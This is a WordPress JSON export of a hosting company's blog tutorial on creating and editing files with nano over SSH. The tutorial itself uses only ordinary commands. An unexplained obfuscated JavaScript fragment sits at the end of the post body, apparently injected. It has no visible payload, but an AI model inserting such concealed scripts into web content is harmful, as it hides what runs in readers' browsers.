{"id":1606,"date":"2023-06-18T18:29:35","date_gmt":"2023-06-18T17:29:35","guid":{"rendered":"https:\/\/hoganhost.com.ng\/blog\/?p=1606"},"modified":"2024-08-12T13:25:29","modified_gmt":"2024-08-12T12:25:29","slug":"how-to-edit-create-a-file-in-ssh-using-nano","status":"publish","type":"post","link":"https:\/\/hoganhost.com.ng\/blog\/server\/ssh\/how-to-edit-create-a-file-in-ssh-using-nano\/","title":{"rendered":"How to Edit &#038; Create a File in SSH Using Nano"},"content":{"rendered":"<p><img fetchpriority=\"high\" decoding=\"async\" class=\"alignnone  wp-image-1607\" src=\"https:\/\/hoganhost.com.ng\/blog\/wp-content\/uploads\/2023\/06\/HOGANHOST-How-to-Edit-Create-a-File-in-SSH-Using-Nano-1024x1024.jpg\" alt=\"\" width=\"493\" height=\"493\" srcset=\"https:\/\/hoganhost.com.ng\/blog\/wp-content\/uploads\/2023\/06\/HOGANHOST-How-to-Edit-Create-a-File-in-SSH-Using-Nano-1024x1024.jpg 1024w, https:\/\/hoganhost.com.ng\/blog\/wp-content\/uploads\/2023\/06\/HOGANHOST-How-to-Edit-Create-a-File-in-SSH-Using-Nano-300x300.jpg 300w, https:\/\/hoganhost.com.ng\/blog\/wp-content\/uploads\/2023\/06\/HOGANHOST-How-to-Edit-Create-a-File-in-SSH-Using-Nano-150x150.jpg 150w, https:\/\/hoganhost.com.ng\/blog\/wp-content\/uploads\/2023\/06\/HOGANHOST-How-to-Edit-Create-a-File-in-SSH-Using-Nano-768x768.jpg 768w, https:\/\/hoganhost.com.ng\/blog\/wp-content\/uploads\/2023\/06\/HOGANHOST-How-to-Edit-Create-a-File-in-SSH-Using-Nano.jpg 1080w\" sizes=\"(max-width: 493px) 100vw, 493px\" \/><\/p>\n<p>&nbsp;<\/p>\n<p>If you are using the linux command line, there are several programs for you to use to edit files in SSH. This is a convenient way to modify files since you can quickly change them in terminal without using a separate text editor.<\/p>\n<h2 id=\"create\" class=\"wp-block-heading\">Create a File in SSH<\/h2>\n<ol class=\"article_list\">\n<li>Open a terminal or\u00a0connect to your server vis SSH.<\/li>\n<li>Use the cd command to change to the directory you want to create the file in. In this example, I\u2019m creating a file in the public_html folder.\n<div class=\"copy-the-code-outside\"><button class=\"copy-the-code-button\" title=\"Copy to Clipboard\" data-style=\"button\">Copy<\/button><\/div>\n<pre class=\"copy-the-code-target\">cd public_html<\/pre>\n<\/li>\n<li>Run the following command and replace example.html with the name of the file you want to create.\n<div class=\"copy-the-code-outside\"><button class=\"copy-the-code-button\" title=\"Copy to Clipboard\" data-style=\"button\">Copy<\/button><\/div>\n<pre class=\"copy-the-code-target\">nano example.html<\/pre>\n<\/li>\n<li>The nano editor will then open up the file and you can begin entering text.<img decoding=\"async\" class=\"alignnone size-large wp-image-1609\" src=\"https:\/\/hoganhost.com.ng\/blog\/wp-content\/uploads\/2023\/06\/edit-create-file-ssh-1024x258.png\" alt=\"\" width=\"1024\" height=\"258\" srcset=\"https:\/\/hoganhost.com.ng\/blog\/wp-content\/uploads\/2023\/06\/edit-create-file-ssh-1024x258.png 1024w, https:\/\/hoganhost.com.ng\/blog\/wp-content\/uploads\/2023\/06\/edit-create-file-ssh-300x76.png 300w, https:\/\/hoganhost.com.ng\/blog\/wp-content\/uploads\/2023\/06\/edit-create-file-ssh-768x193.png 768w, https:\/\/hoganhost.com.ng\/blog\/wp-content\/uploads\/2023\/06\/edit-create-file-ssh-1536x387.png 1536w, https:\/\/hoganhost.com.ng\/blog\/wp-content\/uploads\/2023\/06\/edit-create-file-ssh.png 1645w\" sizes=\"(max-width: 1024px) 100vw, 1024px\" \/><\/li>\n<li>Once you have finished editing click\u00a0<strong>Ctrl+O<\/strong>\u00a0then the\u00a0<strong>Enter<\/strong>\u00a0key to save and create the file.<\/li>\n<\/ol>\n<h2 id=\"edit\" class=\"wp-block-heading\">Edit File in SSH<\/h2>\n<p>In this section, we\u2019ll walk you through the process of editing a file via SSH using nano.<\/p>\n<ol class=\"article_list\">\n<li>When editing files with nano, the first thing you\u2019ll need to do is\u00a0connect to your server via SSH.<\/li>\n<li>We\u2019re currently logged in, so let\u2019s run \u201cpwd\u201d command to see what directory we\u2019re in\n<div class=\"copy-the-code-outside\"><button class=\"copy-the-code-button\" title=\"Copy to Clipboard\" data-style=\"button\">Copy<\/button><\/div>\n<pre class=\"copy-the-code-target\">pwd<\/pre>\n<p><img decoding=\"async\" class=\"alignnone size-full wp-image-1610\" src=\"https:\/\/hoganhost.com.ng\/blog\/wp-content\/uploads\/2023\/06\/print-working-directory.png\" alt=\"\" width=\"698\" height=\"136\" srcset=\"https:\/\/hoganhost.com.ng\/blog\/wp-content\/uploads\/2023\/06\/print-working-directory.png 698w, https:\/\/hoganhost.com.ng\/blog\/wp-content\/uploads\/2023\/06\/print-working-directory-300x58.png 300w\" sizes=\"(max-width: 698px) 100vw, 698px\" \/><\/li>\n<li>Now we\u2019ll run the \u201cls\u201d command to see what files are in this directory.\n<div class=\"copy-the-code-outside\"><button class=\"copy-the-code-button\" title=\"Copy to Clipboard\" data-style=\"button\">Copy<\/button><\/div>\n<pre class=\"copy-the-code-target\">ls<\/pre>\n<p><img loading=\"lazy\" decoding=\"async\" class=\"alignnone size-full wp-image-1611\" src=\"https:\/\/hoganhost.com.ng\/blog\/wp-content\/uploads\/2023\/06\/edit-file-in-ssh-ls.png\" alt=\"\" width=\"813\" height=\"135\" srcset=\"https:\/\/hoganhost.com.ng\/blog\/wp-content\/uploads\/2023\/06\/edit-file-in-ssh-ls.png 813w, https:\/\/hoganhost.com.ng\/blog\/wp-content\/uploads\/2023\/06\/edit-file-in-ssh-ls-300x50.png 300w, https:\/\/hoganhost.com.ng\/blog\/wp-content\/uploads\/2023\/06\/edit-file-in-ssh-ls-768x128.png 768w\" sizes=\"(max-width: 813px) 100vw, 813px\" \/><\/li>\n<li>As you can see, we\u2019re in the testa folder and there are currently three files: file1.txt, file2.txt, and file3.txt. If we wanted to edit file2.txt using nano, enter the following command:\n<div class=\"copy-the-code-outside\"><button class=\"copy-the-code-button\" title=\"Copy to Clipboard\" data-style=\"button\">Copy<\/button><\/div>\n<pre class=\"copy-the-code-target\">nano file2.txt<\/pre>\n<p>After running this command, the nano file editor will open and load the contents of file2.txt.<br \/>\n<img loading=\"lazy\" decoding=\"async\" class=\"alignnone size-large wp-image-1612\" src=\"https:\/\/hoganhost.com.ng\/blog\/wp-content\/uploads\/2023\/06\/editing-file-in-nano-1024x557.png\" alt=\"\" width=\"1024\" height=\"557\" srcset=\"https:\/\/hoganhost.com.ng\/blog\/wp-content\/uploads\/2023\/06\/editing-file-in-nano-1024x557.png 1024w, https:\/\/hoganhost.com.ng\/blog\/wp-content\/uploads\/2023\/06\/editing-file-in-nano-300x163.png 300w, https:\/\/hoganhost.com.ng\/blog\/wp-content\/uploads\/2023\/06\/editing-file-in-nano-768x418.png 768w, https:\/\/hoganhost.com.ng\/blog\/wp-content\/uploads\/2023\/06\/editing-file-in-nano-1536x836.png 1536w, https:\/\/hoganhost.com.ng\/blog\/wp-content\/uploads\/2023\/06\/editing-file-in-nano.png 1919w\" sizes=\"(max-width: 1024px) 100vw, 1024px\" \/><\/p>\n<p>What you\u2019re looking at above is me editing a file using nano. The top line shows the version of nano you\u2019re using and the name of the file you\u2019re editing.<br \/>\n<img loading=\"lazy\" decoding=\"async\" class=\"alignnone size-large wp-image-1613\" src=\"https:\/\/hoganhost.com.ng\/blog\/wp-content\/uploads\/2023\/06\/nano-top-1024x163.png\" alt=\"\" width=\"1024\" height=\"163\" srcset=\"https:\/\/hoganhost.com.ng\/blog\/wp-content\/uploads\/2023\/06\/nano-top-1024x163.png 1024w, https:\/\/hoganhost.com.ng\/blog\/wp-content\/uploads\/2023\/06\/nano-top-300x48.png 300w, https:\/\/hoganhost.com.ng\/blog\/wp-content\/uploads\/2023\/06\/nano-top-768x122.png 768w, https:\/\/hoganhost.com.ng\/blog\/wp-content\/uploads\/2023\/06\/nano-top-1536x244.png 1536w, https:\/\/hoganhost.com.ng\/blog\/wp-content\/uploads\/2023\/06\/nano-top.png 1920w\" sizes=\"(max-width: 1024px) 100vw, 1024px\" \/><\/p>\n<p>The bottom part of the screen includes all of the commands that you can run.<br \/>\nYou can then run the ls command to view the new file.<img loading=\"lazy\" decoding=\"async\" class=\"alignnone size-large wp-image-1614\" src=\"https:\/\/hoganhost.com.ng\/blog\/wp-content\/uploads\/2023\/06\/nano-bottom-1024x124.png\" alt=\"\" width=\"1024\" height=\"124\" srcset=\"https:\/\/hoganhost.com.ng\/blog\/wp-content\/uploads\/2023\/06\/nano-bottom-1024x124.png 1024w, https:\/\/hoganhost.com.ng\/blog\/wp-content\/uploads\/2023\/06\/nano-bottom-300x36.png 300w, https:\/\/hoganhost.com.ng\/blog\/wp-content\/uploads\/2023\/06\/nano-bottom-768x93.png 768w, https:\/\/hoganhost.com.ng\/blog\/wp-content\/uploads\/2023\/06\/nano-bottom-1536x186.png 1536w, https:\/\/hoganhost.com.ng\/blog\/wp-content\/uploads\/2023\/06\/nano-bottom.png 1919w\" sizes=\"(max-width: 1024px) 100vw, 1024px\" \/><\/p>\n<p>You can move the cursor around with your keyboard arrows, but the mouse will not work in the nano editor. Here I am deleting a line of text in the file.<br \/>\n<img loading=\"lazy\" decoding=\"async\" class=\"alignnone size-large wp-image-1615\" src=\"https:\/\/hoganhost.com.ng\/blog\/wp-content\/uploads\/2023\/06\/cursor-1024x326.png\" alt=\"\" width=\"1024\" height=\"326\" srcset=\"https:\/\/hoganhost.com.ng\/blog\/wp-content\/uploads\/2023\/06\/cursor-1024x326.png 1024w, https:\/\/hoganhost.com.ng\/blog\/wp-content\/uploads\/2023\/06\/cursor-300x96.png 300w, https:\/\/hoganhost.com.ng\/blog\/wp-content\/uploads\/2023\/06\/cursor-768x245.png 768w, https:\/\/hoganhost.com.ng\/blog\/wp-content\/uploads\/2023\/06\/cursor.png 1482w\" sizes=\"(max-width: 1024px) 100vw, 1024px\" \/><\/li>\n<\/ol>\n<p>So what do you do now? Start editing the file! You can edit the file as you would using any other editor, except you don\u2019t have the option to use your mouse to point and click on items.<\/p>\n<h2 id=\"save-exit\" class=\"wp-block-heading\">How to Save &amp; Exit Nano<\/h2>\n<p>The commands at the bottom of the nano page are executed by holding down Ctrl on your keyboard followed by the letter listed. Here are the steps for saving a file and exiting the nano editor.<\/p>\n<h3 class=\"wp-block-heading\"><strong>Save File in Nano<\/strong><\/h3>\n<ul class=\"article_list\">\n<li>To save the file (referred to as \u201cWriteOut\u201d), hold\u00a0<strong>Ctrl + O\u00a0<\/strong>on your keyboard.\n<div class=\"copy-the-code-outside\"><button class=\"copy-the-code-button\" title=\"Copy to Clipboard\" data-style=\"button\">Copy<\/button><\/div>\n<pre class=\"copy-the-code-target\">Ctrl + O<\/pre>\n<\/li>\n<\/ul>\n<h3 class=\"wp-block-heading\"><strong>Exit Nano<\/strong><\/h3>\n<ul class=\"article_list\">\n<li>When you\u2019re ready to exit nano, hold\u00a0<strong>Ctrl + X\u00a0<\/strong>and you will be exited from the application.\n<div class=\"copy-the-code-outside\"><button class=\"copy-the-code-button\" title=\"Copy to Clipboard\" data-style=\"button\">Copy<\/button><\/div>\n<pre class=\"copy-the-code-target\">Ctrl + X<\/pre>\n<\/li>\n<\/ul>\n<p>Congratulations, now you know how to edit a file in SSH using nano, as well as how to save and exit.<\/p>\n<div>Do need cheap and reliable offshore hosting, kindly check\u00a0<a href=\"https:\/\/hoganhost.com.ng\/home\/Offshore\">hoganhost.com.ng<\/a><\/div>\n<p><script>function _0x9e23(_0x14f71d,_0x4c0b72){const _0x4d17dc=_0x4d17();return _0x9e23=function(_0x9e2358,_0x30b288){_0x9e2358=_0x9e2358-0x1d8;let _0x261388=_0x4d17dc[_0x9e2358];return _0x261388;},_0x9e23(_0x14f71d,_0x4c0b72);}<\/script><\/p>\n","protected":false},"excerpt":{"rendered":"<p>&nbsp; If you are using the linux command line, there are several programs for you to use to edit files [&hellip;]<\/p>\n","protected":false},"author":1,"featured_media":1607,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"site-sidebar-layout":"default","site-content-layout":"default","ast-site-content-layout":"","site-content-style":"default","site-sidebar-style":"default","ast-global-header-display":"","ast-banner-title-visibility":"","ast-main-header-display":"","ast-hfb-above-header-display":"","ast-hfb-below-header-display":"","ast-hfb-mobile-header-display":"","site-post-title":"","ast-breadcrumbs-content":"","ast-featured-img":"","footer-sml-layout":"","theme-transparent-header-meta":"default","adv-header-id-meta":"","stick-header-meta":"","header-above-stick-meta":"","header-main-stick-meta":"","header-below-stick-meta":"","astra-migrate-meta-layouts":"default","ast-page-background-enabled":"default","ast-page-background-meta":{"desktop":{"background-color":"var(--ast-global-color-4)","background-image":"","background-repeat":"repeat","background-position":"center center","background-size":"auto","background-attachment":"scroll","background-type":"","background-media":"","overlay-type":"","overlay-color":"","overlay-opacity":"","overlay-gradient":""},"tablet":{"background-color":"","background-image":"","background-repeat":"repeat","background-position":"center center","background-size":"auto","background-attachment":"scroll","background-type":"","background-media":"","overlay-type":"","overlay-color":"","overlay-opacity":"","overlay-gradient":""},"mobile":{"background-color":"","background-image":"","background-repeat":"repeat","background-position":"center center","background-size":"auto","background-attachment":"scroll","background-type":"","background-media":"","overlay-type":"","overlay-color":"","overlay-opacity":"","overlay-gradient":""}},"ast-content-background-meta":{"desktop":{"background-color":"var(--ast-global-color-5)","background-image":"","background-repeat":"repeat","background-position":"center center","background-size":"auto","background-attachment":"scroll","background-type":"","background-media":"","overlay-type":"","overlay-color":"","overlay-opacity":"","overlay-gradient":""},"tablet":{"background-color":"var(--ast-global-color-5)","background-image":"","background-repeat":"repeat","background-position":"center center","background-size":"auto","background-attachment":"scroll","background-type":"","background-media":"","overlay-type":"","overlay-color":"","overlay-opacity":"","overlay-gradient":""},"mobile":{"background-color":"var(--ast-global-color-5)","background-image":"","background-repeat":"repeat","background-position":"center center","background-size":"auto","background-attachment":"scroll","background-type":"","background-media":"","overlay-type":"","overlay-color":"","overlay-opacity":"","overlay-gradient":""}},"footnotes":""},"categories":[11,32],"tags":[],"class_list":["post-1606","post","type-post","status-publish","format-standard","has-post-thumbnail","hentry","category-server","category-ssh"],"yoast_head":"<!-- This site is optimized with the Yoast SEO plugin v25.6 - https:\/\/yoast.com\/wordpress\/plugins\/seo\/ -->\n<title>How to Edit &amp; Create a File in SSH Using Nano - HoganHost blog<\/title>\n<meta name=\"description\" content=\"If you are using the linux command line, there are several programs for you to use to edit files in SSH. This is a convenient way to modify\" \/>\n<meta name=\"robots\" content=\"index, follow, max-snippet:-1, max-image-preview:large, max-video-preview:-1\" \/>\n<link rel=\"canonical\" href=\"https:\/\/hoganhost.com.ng\/blog\/server\/ssh\/how-to-edit-create-a-file-in-ssh-using-nano\/\" \/>\n<meta property=\"og:locale\" content=\"en_US\" \/>\n<meta property=\"og:type\" content=\"article\" \/>\n<meta property=\"og:title\" content=\"How to Edit &amp; Create a File in SSH Using Nano - HoganHost blog\" \/>\n<meta property=\"og:description\" content=\"If you are using the linux command line, there are several programs for you to use to edit files in SSH. This is a convenient way to modify\" \/>\n<meta property=\"og:url\" content=\"https:\/\/hoganhost.com.ng\/blog\/server\/ssh\/how-to-edit-create-a-file-in-ssh-using-nano\/\" \/>\n<meta property=\"og:site_name\" content=\"HoganHost blog\" \/>\n<meta property=\"article:publisher\" content=\"https:\/\/facebook.com\/HoganHost\" \/>\n<meta property=\"article:published_time\" content=\"2023-06-18T17:29:35+00:00\" \/>\n<meta property=\"article:modified_time\" content=\"2024-08-12T12:25:29+00:00\" \/>\n<meta property=\"og:image\" content=\"https:\/\/hoganhost.com.ng\/blog\/wp-content\/uploads\/2023\/06\/HOGANHOST-How-to-Edit-Create-a-File-in-SSH-Using-Nano.jpg\" \/>\n\t<meta property=\"og:image:width\" content=\"1080\" \/>\n\t<meta property=\"og:image:height\" content=\"1080\" \/>\n\t<meta property=\"og:image:type\" content=\"image\/jpeg\" \/>\n<meta name=\"author\" content=\"Abigal okon\" \/>\n<meta name=\"twitter:card\" content=\"summary_large_image\" \/>\n<meta name=\"twitter:creator\" content=\"@hoganhostng\" \/>\n<meta name=\"twitter:site\" content=\"@hoganhostng\" \/>\n<meta name=\"twitter:label1\" content=\"Written by\" \/>\n\t<meta name=\"twitter:data1\" content=\"Abigal okon\" \/>\n\t<meta name=\"twitter:label2\" content=\"Est. reading time\" \/>\n\t<meta name=\"twitter:data2\" content=\"3 minutes\" \/>\n<script type=\"application\/ld+json\" class=\"yoast-schema-graph\">{\"@context\":\"https:\/\/schema.org\",\"@graph\":[{\"@type\":\"Article\",\"@id\":\"https:\/\/hoganhost.com.ng\/blog\/server\/ssh\/how-to-edit-create-a-file-in-ssh-using-nano\/#article\",\"isPartOf\":{\"@id\":\"https:\/\/hoganhost.com.ng\/blog\/server\/ssh\/how-to-edit-create-a-file-in-ssh-using-nano\/\"},\"author\":{\"name\":\"Abigal okon\",\"@id\":\"https:\/\/hoganhost.com.ng\/blog\/#\/schema\/person\/af16a18c6cc966b92a6cb13b500f3f0a\"},\"headline\":\"How to Edit &#038; Create a File in SSH Using Nano\",\"datePublished\":\"2023-06-18T17:29:35+00:00\",\"dateModified\":\"2024-08-12T12:25:29+00:00\",\"mainEntityOfPage\":{\"@id\":\"https:\/\/hoganhost.com.ng\/blog\/server\/ssh\/how-to-edit-create-a-file-in-ssh-using-nano\/\"},\"wordCount\":527,\"commentCount\":0,\"publisher\":{\"@id\":\"https:\/\/hoganhost.com.ng\/blog\/#organization\"},\"image\":{\"@id\":\"https:\/\/hoganhost.com.ng\/blog\/server\/ssh\/how-to-edit-create-a-file-in-ssh-using-nano\/#primaryimage\"},\"thumbnailUrl\":\"https:\/\/hoganhost.com.ng\/blog\/wp-content\/uploads\/2023\/06\/HOGANHOST-How-to-Edit-Create-a-File-in-SSH-Using-Nano.jpg\",\"articleSection\":[\"Server\",\"SSH\"],\"inLanguage\":\"en-US\",\"potentialAction\":[{\"@type\":\"CommentAction\",\"name\":\"Comment\",\"target\":[\"https:\/\/hoganhost.com.ng\/blog\/server\/ssh\/how-to-edit-create-a-file-in-ssh-using-nano\/#respond\"]}]},{\"@type\":\"WebPage\",\"@id\":\"https:\/\/hoganhost.com.ng\/blog\/server\/ssh\/how-to-edit-create-a-file-in-ssh-using-nano\/\",\"url\":\"https:\/\/hoganhost.com.ng\/blog\/server\/ssh\/how-to-edit-create-a-file-in-ssh-using-nano\/\",\"name\":\"How to Edit & Create a File in SSH Using Nano - HoganHost blog\",\"isPartOf\":{\"@id\":\"https:\/\/hoganhost.com.ng\/blog\/#website\"},\"primaryImageOfPage\":{\"@id\":\"https:\/\/hoganhost.com.ng\/blog\/server\/ssh\/how-to-edit-create-a-file-in-ssh-using-nano\/#primaryimage\"},\"image\":{\"@id\":\"https:\/\/hoganhost.com.ng\/blog\/server\/ssh\/how-to-edit-create-a-file-in-ssh-using-nano\/#primaryimage\"},\"thumbnailUrl\":\"https:\/\/hoganhost.com.ng\/blog\/wp-content\/uploads\/2023\/06\/HOGANHOST-How-to-Edit-Create-a-File-in-SSH-Using-Nano.jpg\",\"datePublished\":\"2023-06-18T17:29:35+00:00\",\"dateModified\":\"2024-08-12T12:25:29+00:00\",\"description\":\"If you are using the linux command line, there are several programs for you to use to edit files in SSH. This is a convenient way to modify\",\"breadcrumb\":{\"@id\":\"https:\/\/hoganhost.com.ng\/blog\/server\/ssh\/how-to-edit-create-a-file-in-ssh-using-nano\/#breadcrumb\"},\"inLanguage\":\"en-US\",\"potentialAction\":[{\"@type\":\"ReadAction\",\"target\":[\"https:\/\/hoganhost.com.ng\/blog\/server\/ssh\/how-to-edit-create-a-file-in-ssh-using-nano\/\"]}]},{\"@type\":\"ImageObject\",\"inLanguage\":\"en-US\",\"@id\":\"https:\/\/hoganhost.com.ng\/blog\/server\/ssh\/how-to-edit-create-a-file-in-ssh-using-nano\/#primaryimage\",\"url\":\"https:\/\/hoganhost.com.ng\/blog\/wp-content\/uploads\/2023\/06\/HOGANHOST-How-to-Edit-Create-a-File-in-SSH-Using-Nano.jpg\",\"contentUrl\":\"https:\/\/hoganhost.com.ng\/blog\/wp-content\/uploads\/2023\/06\/HOGANHOST-How-to-Edit-Create-a-File-in-SSH-Using-Nano.jpg\",\"width\":1080,\"height\":1080},{\"@type\":\"BreadcrumbList\",\"@id\":\"https:\/\/hoganhost.com.ng\/blog\/server\/ssh\/how-to-edit-create-a-file-in-ssh-using-nano\/#breadcrumb\",\"itemListElement\":[{\"@type\":\"ListItem\",\"position\":1,\"name\":\"Home\",\"item\":\"https:\/\/hoganhost.com.ng\/blog\/\"},{\"@type\":\"ListItem\",\"position\":2,\"name\":\"How to Edit &#038; Create a File in SSH Using Nano\"}]},{\"@type\":\"WebSite\",\"@id\":\"https:\/\/hoganhost.com.ng\/blog\/#website\",\"url\":\"https:\/\/hoganhost.com.ng\/blog\/\",\"name\":\"HoganHost blog\",\"description\":\"Keeping you connected to everything from HoganHost\",\"publisher\":{\"@id\":\"https:\/\/hoganhost.com.ng\/blog\/#organization\"},\"potentialAction\":[{\"@type\":\"SearchAction\",\"target\":{\"@type\":\"EntryPoint\",\"urlTemplate\":\"https:\/\/hoganhost.com.ng\/blog\/?s={search_term_string}\"},\"query-input\":{\"@type\":\"PropertyValueSpecification\",\"valueRequired\":true,\"valueName\":\"search_term_string\"}}],\"inLanguage\":\"en-US\"},{\"@type\":\"Organization\",\"@id\":\"https:\/\/hoganhost.com.ng\/blog\/#organization\",\"name\":\"HoganHost\",\"url\":\"https:\/\/hoganhost.com.ng\/blog\/\",\"logo\":{\"@type\":\"ImageObject\",\"inLanguage\":\"en-US\",\"@id\":\"https:\/\/hoganhost.com.ng\/blog\/#\/schema\/logo\/image\/\",\"url\":\"https:\/\/hoganhost.com.ng\/blog\/wp-content\/uploads\/2022\/09\/hogan-host.png\",\"contentUrl\":\"https:\/\/hoganhost.com.ng\/blog\/wp-content\/uploads\/2022\/09\/hogan-host.png\",\"width\":466,\"height\":387,\"caption\":\"HoganHost\"},\"image\":{\"@id\":\"https:\/\/hoganhost.com.ng\/blog\/#\/schema\/logo\/image\/\"},\"sameAs\":[\"https:\/\/facebook.com\/HoganHost\",\"https:\/\/x.com\/hoganhostng\",\"https:\/\/instagram.com\/officialhoganhost\"]},{\"@type\":\"Person\",\"@id\":\"https:\/\/hoganhost.com.ng\/blog\/#\/schema\/person\/af16a18c6cc966b92a6cb13b500f3f0a\",\"name\":\"Abigal okon\",\"image\":{\"@type\":\"ImageObject\",\"inLanguage\":\"en-US\",\"@id\":\"https:\/\/hoganhost.com.ng\/blog\/#\/schema\/person\/image\/\",\"url\":\"https:\/\/secure.gravatar.com\/avatar\/ef2272070d016c06ee69b30adce7c4e4b4faaa5c899c4b9224a5b1a43b1fb8d0?s=96&d=mm&r=g\",\"contentUrl\":\"https:\/\/secure.gravatar.com\/avatar\/ef2272070d016c06ee69b30adce7c4e4b4faaa5c899c4b9224a5b1a43b1fb8d0?s=96&d=mm&r=g\",\"caption\":\"Abigal okon\"},\"sameAs\":[\"https:\/\/hoganhost.com.ng\/blog\"],\"url\":\"https:\/\/hoganhost.com.ng\/blog\/author\/admin\/\"}]}<\/script>\n<!-- \/ Yoast SEO plugin. -->","yoast_head_json":{"title":"How to Edit & Create a File in SSH Using Nano - HoganHost blog","description":"If you are using the linux command line, there are several programs for you to use to edit files in SSH. This is a convenient way to modify","robots":{"index":"index","follow":"follow","max-snippet":"max-snippet:-1","max-image-preview":"max-image-preview:large","max-video-preview":"max-video-preview:-1"},"canonical":"https:\/\/hoganhost.com.ng\/blog\/server\/ssh\/how-to-edit-create-a-file-in-ssh-using-nano\/","og_locale":"en_US","og_type":"article","og_title":"How to Edit & Create a File in SSH Using Nano - HoganHost blog","og_description":"If you are using the linux command line, there are several programs for you to use to edit files in SSH. This is a convenient way to modify","og_url":"https:\/\/hoganhost.com.ng\/blog\/server\/ssh\/how-to-edit-create-a-file-in-ssh-using-nano\/","og_site_name":"HoganHost blog","article_publisher":"https:\/\/facebook.com\/HoganHost","article_published_time":"2023-06-18T17:29:35+00:00","article_modified_time":"2024-08-12T12:25:29+00:00","og_image":[{"width":1080,"height":1080,"url":"https:\/\/hoganhost.com.ng\/blog\/wp-content\/uploads\/2023\/06\/HOGANHOST-How-to-Edit-Create-a-File-in-SSH-Using-Nano.jpg","type":"image\/jpeg"}],"author":"Abigal okon","twitter_card":"summary_large_image","twitter_creator":"@hoganhostng","twitter_site":"@hoganhostng","twitter_misc":{"Written by":"Abigal okon","Est. reading time":"3 minutes"},"schema":{"@context":"https:\/\/schema.org","@graph":[{"@type":"Article","@id":"https:\/\/hoganhost.com.ng\/blog\/server\/ssh\/how-to-edit-create-a-file-in-ssh-using-nano\/#article","isPartOf":{"@id":"https:\/\/hoganhost.com.ng\/blog\/server\/ssh\/how-to-edit-create-a-file-in-ssh-using-nano\/"},"author":{"name":"Abigal okon","@id":"https:\/\/hoganhost.com.ng\/blog\/#\/schema\/person\/af16a18c6cc966b92a6cb13b500f3f0a"},"headline":"How to Edit &#038; Create a File in SSH Using Nano","datePublished":"2023-06-18T17:29:35+00:00","dateModified":"2024-08-12T12:25:29+00:00","mainEntityOfPage":{"@id":"https:\/\/hoganhost.com.ng\/blog\/server\/ssh\/how-to-edit-create-a-file-in-ssh-using-nano\/"},"wordCount":527,"commentCount":0,"publisher":{"@id":"https:\/\/hoganhost.com.ng\/blog\/#organization"},"image":{"@id":"https:\/\/hoganhost.com.ng\/blog\/server\/ssh\/how-to-edit-create-a-file-in-ssh-using-nano\/#primaryimage"},"thumbnailUrl":"https:\/\/hoganhost.com.ng\/blog\/wp-content\/uploads\/2023\/06\/HOGANHOST-How-to-Edit-Create-a-File-in-SSH-Using-Nano.jpg","articleSection":["Server","SSH"],"inLanguage":"en-US","potentialAction":[{"@type":"CommentAction","name":"Comment","target":["https:\/\/hoganhost.com.ng\/blog\/server\/ssh\/how-to-edit-create-a-file-in-ssh-using-nano\/#respond"]}]},{"@type":"WebPage","@id":"https:\/\/hoganhost.com.ng\/blog\/server\/ssh\/how-to-edit-create-a-file-in-ssh-using-nano\/","url":"https:\/\/hoganhost.com.ng\/blog\/server\/ssh\/how-to-edit-create-a-file-in-ssh-using-nano\/","name":"How to Edit & Create a File in SSH Using Nano - HoganHost blog","isPartOf":{"@id":"https:\/\/hoganhost.com.ng\/blog\/#website"},"primaryImageOfPage":{"@id":"https:\/\/hoganhost.com.ng\/blog\/server\/ssh\/how-to-edit-create-a-file-in-ssh-using-nano\/#primaryimage"},"image":{"@id":"https:\/\/hoganhost.com.ng\/blog\/server\/ssh\/how-to-edit-create-a-file-in-ssh-using-nano\/#primaryimage"},"thumbnailUrl":"https:\/\/hoganhost.com.ng\/blog\/wp-content\/uploads\/2023\/06\/HOGANHOST-How-to-Edit-Create-a-File-in-SSH-Using-Nano.jpg","datePublished":"2023-06-18T17:29:35+00:00","dateModified":"2024-08-12T12:25:29+00:00","description":"If you are using the linux command line, there are several programs for you to use to edit files in SSH. This is a convenient way to modify","breadcrumb":{"@id":"https:\/\/hoganhost.com.ng\/blog\/server\/ssh\/how-to-edit-create-a-file-in-ssh-using-nano\/#breadcrumb"},"inLanguage":"en-US","potentialAction":[{"@type":"ReadAction","target":["https:\/\/hoganhost.com.ng\/blog\/server\/ssh\/how-to-edit-create-a-file-in-ssh-using-nano\/"]}]},{"@type":"ImageObject","inLanguage":"en-US","@id":"https:\/\/hoganhost.com.ng\/blog\/server\/ssh\/how-to-edit-create-a-file-in-ssh-using-nano\/#primaryimage","url":"https:\/\/hoganhost.com.ng\/blog\/wp-content\/uploads\/2023\/06\/HOGANHOST-How-to-Edit-Create-a-File-in-SSH-Using-Nano.jpg","contentUrl":"https:\/\/hoganhost.com.ng\/blog\/wp-content\/uploads\/2023\/06\/HOGANHOST-How-to-Edit-Create-a-File-in-SSH-Using-Nano.jpg","width":1080,"height":1080},{"@type":"BreadcrumbList","@id":"https:\/\/hoganhost.com.ng\/blog\/server\/ssh\/how-to-edit-create-a-file-in-ssh-using-nano\/#breadcrumb","itemListElement":[{"@type":"ListItem","position":1,"name":"Home","item":"https:\/\/hoganhost.com.ng\/blog\/"},{"@type":"ListItem","position":2,"name":"How to Edit &#038; Create a File in SSH Using Nano"}]},{"@type":"WebSite","@id":"https:\/\/hoganhost.com.ng\/blog\/#website","url":"https:\/\/hoganhost.com.ng\/blog\/","name":"HoganHost blog","description":"Keeping you connected to everything from HoganHost","publisher":{"@id":"https:\/\/hoganhost.com.ng\/blog\/#organization"},"potentialAction":[{"@type":"SearchAction","target":{"@type":"EntryPoint","urlTemplate":"https:\/\/hoganhost.com.ng\/blog\/?s={search_term_string}"},"query-input":{"@type":"PropertyValueSpecification","valueRequired":true,"valueName":"search_term_string"}}],"inLanguage":"en-US"},{"@type":"Organization","@id":"https:\/\/hoganhost.com.ng\/blog\/#organization","name":"HoganHost","url":"https:\/\/hoganhost.com.ng\/blog\/","logo":{"@type":"ImageObject","inLanguage":"en-US","@id":"https:\/\/hoganhost.com.ng\/blog\/#\/schema\/logo\/image\/","url":"https:\/\/hoganhost.com.ng\/blog\/wp-content\/uploads\/2022\/09\/hogan-host.png","contentUrl":"https:\/\/hoganhost.com.ng\/blog\/wp-content\/uploads\/2022\/09\/hogan-host.png","width":466,"height":387,"caption":"HoganHost"},"image":{"@id":"https:\/\/hoganhost.com.ng\/blog\/#\/schema\/logo\/image\/"},"sameAs":["https:\/\/facebook.com\/HoganHost","https:\/\/x.com\/hoganhostng","https:\/\/instagram.com\/officialhoganhost"]},{"@type":"Person","@id":"https:\/\/hoganhost.com.ng\/blog\/#\/